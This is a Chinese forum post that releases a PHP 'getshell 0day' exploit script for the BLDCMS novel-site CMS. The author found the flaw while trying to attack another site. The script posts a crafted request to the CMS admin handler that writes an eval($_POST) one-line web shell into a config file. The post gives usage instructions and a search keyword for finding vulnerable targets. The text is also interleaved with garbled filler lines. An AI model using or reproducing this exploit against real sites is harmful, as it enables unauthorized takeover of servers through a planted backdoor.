BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
& X  s- U+ @6 i6 u& |3 l
6 R1 b8 S) Y( o3 [& E
; o2 w1 B' r+ l5 D0 ?' F/ G话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了

既然都有人发了 我就把我之前写好的EXP放出来吧
3 Z/ |; z) Z  D7 _, |# P, f$ a
: Y4 c6 g7 N& ?1 c* B) kview source print?01.php;">
" F- Q6 _) q; A/ c02.<!--?php
03.echo "-------------------------------------------------------------------
04.
05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
! y& u+ g8 d3 w( E2 w6 ?06.
3 w) b4 {! Q/ s% P9 y7 [07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
08.
09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
9 @, |+ ]) U4 B* f9 X4 T5 t, e. R, t11.
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
2 E: Q8 C! d0 K; n$ _9 W13.
14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
15.
16.--------------------------------------------------------------------\r\n";
17.$url=$argv[1];
) @7 d7 \+ F, G, c1 p6 [18.$dir=$argv[2];
; s( X% H1 J/ F19.$pass=$argv[3];
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
21.if (emptyempty($pass)||emptyempty($url))
% ]6 y) H- x" n22.{exit("请输入参数");}
. T. m/ b( M% P) S23.else
: L2 h7 T: r! q7 V0 L0 d& o/ }24.{
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
27.al;
28.$length = strlen($fuckdata);
29.function getshell($url,$pass)
30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
8 c! p$ l, b: t9 a34.$header .= "User-Agent: MSIE\r\n";
8 \2 V$ {6 o0 A. T35.$header .= "Host:".$url."\r\n";
( _- ^/ u% R% h7 |3 f' s  `36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
38.$header .="\r\n";
39.$header .= $fuckdata."\r\n\r\n";
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
: h' |% o! J; Y. g. U* K* G6 B3 \5 S) q41.if (!$fp)
42.{
; D) `! F( @! M0 k43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
45.else{ if (!fputs($fp,$header))
46.{exit ("利用失败");}
47.else
0 L' ^9 L! _4 K' j) R" c8 q48.{
49.$receive = '';
, p% T& N2 b. v50.while (!feof($fp)) {
: [) b: W: [" @7 Y51.$receive .= @fgets($fp, 1000);
& Q$ S1 Y: o5 _. o52.}
" W; Z& u6 ^! N# \53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
- Y5 e- l  M( A+ j2 u+ S. G9 t, R55.
56.GPC是否=off)";
57.}}
+ J* k. p5 W2 `& ]58.}
9 S- J0 g& [0 d7 l+ x* R59.}
60.getshell($url,$pass);
61.?-->

3 U% N1 h) {& S
' [6 E. D3 b5 K4 F( `6 r+ ~
) U9 z2 }& }. Gby 数据流